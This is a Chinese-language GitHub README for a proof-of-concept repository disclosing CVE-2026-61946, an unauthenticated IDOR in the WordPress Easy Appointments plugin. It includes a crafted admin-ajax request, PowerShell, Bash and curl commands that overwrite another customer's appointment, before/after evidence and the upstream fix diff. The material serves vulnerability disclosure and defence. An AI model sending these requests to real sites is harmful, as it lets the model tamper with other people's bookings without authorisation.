Rat5ak/CVE-2026-61946-Easy-Appointments-IDOR
GitHub: Rat5ak/CVE-2026-61946-Easy-Appointments-IDOR
这是一个针对 WordPress Easy Appointments 插件未经身份验证 IDOR 漏洞(CVE-2026-61946)的概念验证复现工具与详细分析文档。
Stars: 0 | Forks: 0
# CVE-2026-61946:通过一个预约 ID 篡改他人的预约
我在 WordPress 的 Easy Appointments 插件中发现了一个未经身份验证的不安全直接对象引用(IDOR)漏洞。该公开的预约接口会接收来自查询字符串的 `id`,并将生成的数据传递到插件的数据库 `replace()` 路径中。
这意味着一个新的公开预约请求可以变成对现有预约记录的更新。整个过程不需要登录、Cookie 或 WordPress 账号。只需提供另一个预约的主键,选择一个真实的空闲时段,插件就会用攻击者控制的客户和预约数据覆盖原有的预约信息。
| | |
|---|---|
| CVE | CVE-2026-61946 |
| 插件 | Easy Appointments |
| Slug | `easy-appointments` |
| 受影响版本 | `<= 3.12.27` |
| 已修复版本 | `3.12.28` |
| 漏洞类型 | 未经身份验证的 IDOR / 用户可控主键 (CWE-639) |
| 影响 | 任意覆盖现有预约 |
| CVSS | 6.5 中危 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L`) |
| 发现者 | Daniel Wade |
| Patchstack PSID | `4f9c506f9f90` |
## 太长不看
该公开接口接收如下格式的请求:
```
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example
```
这里的 `id=2` 并没有被当作不受信任的对象标识。在受影响的版本中,它绕过了输入过滤并到达了数据库替换路径。如果 ID 为 2 的记录已经属于其他客户,公开请求就会更新该记录,而不是创建一条新记录。
```
Before: id=2 | Jane Victim | jane@victim.com | confirmed | $50.00
After: id=2 | ATTACKER | evil@hack.com | reservation | $50.00
```
## 漏洞详情
Easy Appointments 将预约处理程序暴露给了未经身份验证的访问者:
```
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));
```
对于公开的预约表单来说,这是符合预期的。但其授权漏洞在于,该公开处理程序信任了调用方提供的对象主键。
存在漏洞的流程如下:
```
unauthenticated GET
-> action=ea_res_appointment
-> $_GET['id']
-> allowed through the reservation field list
-> models->replace('ea_appointments', $data, true)
-> existing appointment row selected by primary key
-> victim booking overwritten
```
Nonce 和 CAPTCHA 检查并不能证明对所提供预约 ID 的所有权。在我测试的配置中,它们默认也是关闭的,因此该请求完全不需要任何会话状态。
该接口确实执行了可用性检查。但这并不能解决对象授权问题;它仅仅意味着攻击者必须选择一个有效的公开位置、服务、服务人员、日期以及当前开放的时段。
## 触发漏洞
你需要:
```
1. A disposable WordPress lab running Easy Appointments <= 3.12.27
2. The ID of a lab appointment you created for testing
3. Valid location, service, and worker IDs from the public form
4. A time slot that is currently open
```
然后带上两个安全开关运行任意一个 PoC。如果不加 `--execute` / `-Execute`,脚本只会打印出将要发送的请求。
PowerShell:
```
.\poc\reproduce.ps1 `
-Target "http://127.0.0.1" `
-AppointmentId 2 `
-Location 1 `
-Service 1 `
-Worker 1 `
-Date "2026-04-09" `
-Start "15:00" `
-AuthorizedLab `
-Execute
```
Bash:
```
./poc/reproduce.sh \
--target "http://127.0.0.1" \
--id 2 \
--location 1 \
--service 1 \
--worker 1 \
--date "2026-04-09" \
--start "15:00" \
--authorized-lab \
--execute
```
手动 curl:
```
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
--data-urlencode "action=ea_res_appointment" \
--data-urlencode "id=2" \
--data-urlencode "location=1" \
--data-urlencode "service=1" \
--data-urlencode "worker=1" \
--data-urlencode "date=2026-04-09" \
--data-urlencode "start=15:00" \
--data-urlencode "name=ATTACKER" \
--data-urlencode "email=evil@hack.com" \
--data-urlencode "phone=666" \
--data-urlencode "description=PWNED"
```
此过程不涉及任何身份验证标头或 Cookie。
## 漏洞证据
我在以下环境复现了该问题:
```
WordPress 6.9.4
Easy Appointments 3.12.23.1
Unauthenticated request
No cookies
Nonce disabled
CAPTCHA disabled
```
测试使用了一个属于实验室受害者账户的现有预约记录:
```
id=2
name=Jane Victim
email=jane@victim.com
status=confirmed
price=$50.00
```
在发送公开预约请求后,同一个主键包含的数据变为:
```
id=2
name=ATTACKER
email=evil@hack.com
status=reservation
price=$50.00
```
主键和价格保持不变,这使得更新行为非常明显:这并不是刚好与第一条记录相似的第二条预约,而是原有的记录被直接替换了。
修改前后的证明副本位于 [`evidence/sample-before-after.txt`](evidence/sample-before-after.txt)。
## 影响
知道或猜中预约 ID 的未经身份验证的攻击者可以篡改该预约的客户和日程数据。根据网站的业务流程,这可能包括更改:
```
customer name and email
phone number
appointment description
location, service, and assigned worker
date and start time
reservation status generated by the public flow
```
实际结果是隐秘的预约篡改:合法的预约可能会被重定向、替换、恶意破坏,或者在业务运作中失效。公开表单暴露了构造此请求所需的合法日程数据值。
官方评分为 6.5 中危:
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
```
## 修复方案
版本 `3.12.28` 中涉及安全性的更改非常直接:
```
foreach ($data as $key => $rem) {
if (!in_array($key, $dont_remove)) unset($data[$key]);
}
+
+unset($data['id']);
+$data['id'] = null;
unset($data['action']);
```
公开的预约流程不再允许选择数据库对象的主键。该请求被强制转入新记录路径,而不再被允许替换任意现有的预约。
同一个安全提交也修正了 nonce 的选项逻辑。这是很好的纵深防御措施,但仅靠 nonce 验证并不能对攻击者提供的预约 ID 进行归属权检查。移除客户端可控的键才是直接修复 IDOR 的方法。
提取的补丁位于 [`patch/fix.diff`](patch/fix.diff)。
## 仓库结构
```
poc/
reproduce.ps1 # PowerShell lab reproducer
reproduce.sh # Bash/curl lab reproducer
evidence/
sample-before-after.txt # Sanitised proof of row replacement
patch/
fix.diff # Security-relevant upstream diff
README.md
```
## 时间线
| 日期 | 事件 |
|---|---|
| 2026-04-03 | 报告给 Patchstack |
| 2026-07-07 | 补丁验证完成 |
| 2026-07-16 | Patchstack 发布了漏洞条目 |
| 2026-07-23 | CVE-2026-61946 发布 |
## 相关资源
* Patchstack 公告:https://patchstack.com/database/wordpress/plugin/easy-appointments/vulnerability/wordpress-easy-appointments-plugin-3-12-27-insecure-direct-object-references-idor-vulnerability
* CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-61946
* NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-61946
* WordPress 插件:https://wordpress.org/plugins/easy-appointments/
* 上游源码:https://github.com/ahmedkaludi/easy-appointments
* 安全修复提交:https://github.com/ahmedkaludi/easy-appointments/commit/f3464999ba3723046bd6e13d032122c196dd9768
* 受影响标签:https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.27/
* 已修复标签:https://plugins.svn.wordpress.org/easy-appointments/tags/3.12.28/
*CVE-2026-61946 - 已在 Easy Appointments 3.12.28 中修复。受影响版本:3.12.27 及更早版本。*
*Daniel Wade - [GitHub](https://github.com/Rat5ak) - [Twitter/X](https://x.com/Nadsec11) - [Bluesky](https://bsky.app/profile/nadsec.online) - [Mastodon](https://cyberplace.social/@Nadsec) - [Medium](https://medium.com/@Nadsec) - [nadsec.online](https://nadsec.online)*
标签:AI合规, CISA项目, IDOR漏洞, Web安全, WordPress插件, 应用安全, 文件完整性监控, 漏洞披露, 蓝队分析